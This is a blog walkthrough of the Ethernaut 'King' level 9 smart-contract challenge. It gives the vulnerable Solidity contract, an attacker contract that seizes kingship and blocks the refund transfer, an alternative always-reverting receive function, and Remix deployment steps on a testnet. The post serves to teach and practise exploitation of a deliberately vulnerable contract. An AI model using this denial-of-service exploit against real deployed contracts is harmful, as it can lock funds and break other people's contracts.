stefanalfbo

Stefan Alfbo

Posted on September 11, 2023

King - Level 09

Problem statement

The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}
Enter fullscreen mode Exit fullscreen mode

Solution

Start with creating a new contract for the current level by clicking on the button, Get new instance. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window.

await contract.address
Enter fullscreen mode Exit fullscreen mode

We also need to see the prize of the current king.

await web3.eth.getStorageAt(contract.address, 1).then(n => web3.utils.hexToNumber(n))
Enter fullscreen mode Exit fullscreen mode

Keep the contract.address and the prize close by.

Open a new tab in your browser (Ctrl+t) and go to Remix.

In the file explorer, create a new file and name it HackTheKing.sol, and paste this code to the contract.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;


contract HackTheKing {
    event Result(bool success, bytes data);
    address payable king_address;
    uint public war_chest;

    constructor(address payable  _address) payable {
        king_address = _address;
        war_chest = msg.value;
    }

    function take_the_crown() public {
        (bool result, bytes memory data) = king_address.call{value: war_chest}("");
        emit Result(result, data);
    }
}
Enter fullscreen mode Exit fullscreen mode

Go to the compiler and compile the new contract, HackTheKing.sol.

Compile

Next, deploy it to the Sepolia network, make sure that you select the correct environment, Injected Provider - MetaMask, set the value higher than the current prize and give the correct contract address, _ADDRESS. When that is in place, click the button transact and verify and sign the transaction with your wallet.

Deploy contract

Lets take the crown. Still in the DEPLOY & RUN TRANSACTIONS view, click on the button take_the_crown and sign the transaction.

take crown

When the transaction has been completed jump over to the console window on the ethernaut page and verify that your contract in Remix is the king.

await contract._king()
Enter fullscreen mode Exit fullscreen mode

If true, then finish up the challenge by clicking on the button, Submit instance, to commit and update the progress on the ethernaut contract.

Explanation

We need to find a way to make it impossible for the King contract to do a transfer back to the current king.

It is not possible to use an Externally-Owned Account (EOA) in this case since that gives us no tools to stop the contract from transfer back the amount of wei used in the transaction. That leads us to use a contract instead as a player. The mission is only to make sure that the King contract is not the king.

If we recall the challenge, Force - Level 07, it taught us that we can create a contract that makes it difficult to send ether to.

By creating a contract that can't receive any ether (unless using the methods from Level 07, which is not likely in this case) we can beat the King contract.

One another approach would have been to create a contract that has a receive function that will always fail, something like this.

  receive() external payable {
    revert("I don't want your ether");
  }
Enter fullscreen mode Exit fullscreen mode

Finally the message from level author. The links are included in the resources section below.

Author message

Resources

💖 💪 🙅 🚩
stefanalfbo
Stefan Alfbo

Posted on September 11, 2023

Join Our Newsletter. No Spam, Only the good stuff.

Sign up to receive the latest update from our blog.

Related

Gatekeeper One - Level 13
100daystooffload Gatekeeper One - Level 13

May 15, 2024

Privacy - Level 12
100daystooffload Privacy - Level 12

March 11, 2024

Re-entrancy - Level 10
100daystooffload Re-entrancy - Level 10

December 25, 2023

King - Level 09
100daystooffload King - Level 09

September 11, 2023

Force - Level 07
100daystooffload Force - Level 07

August 14, 2023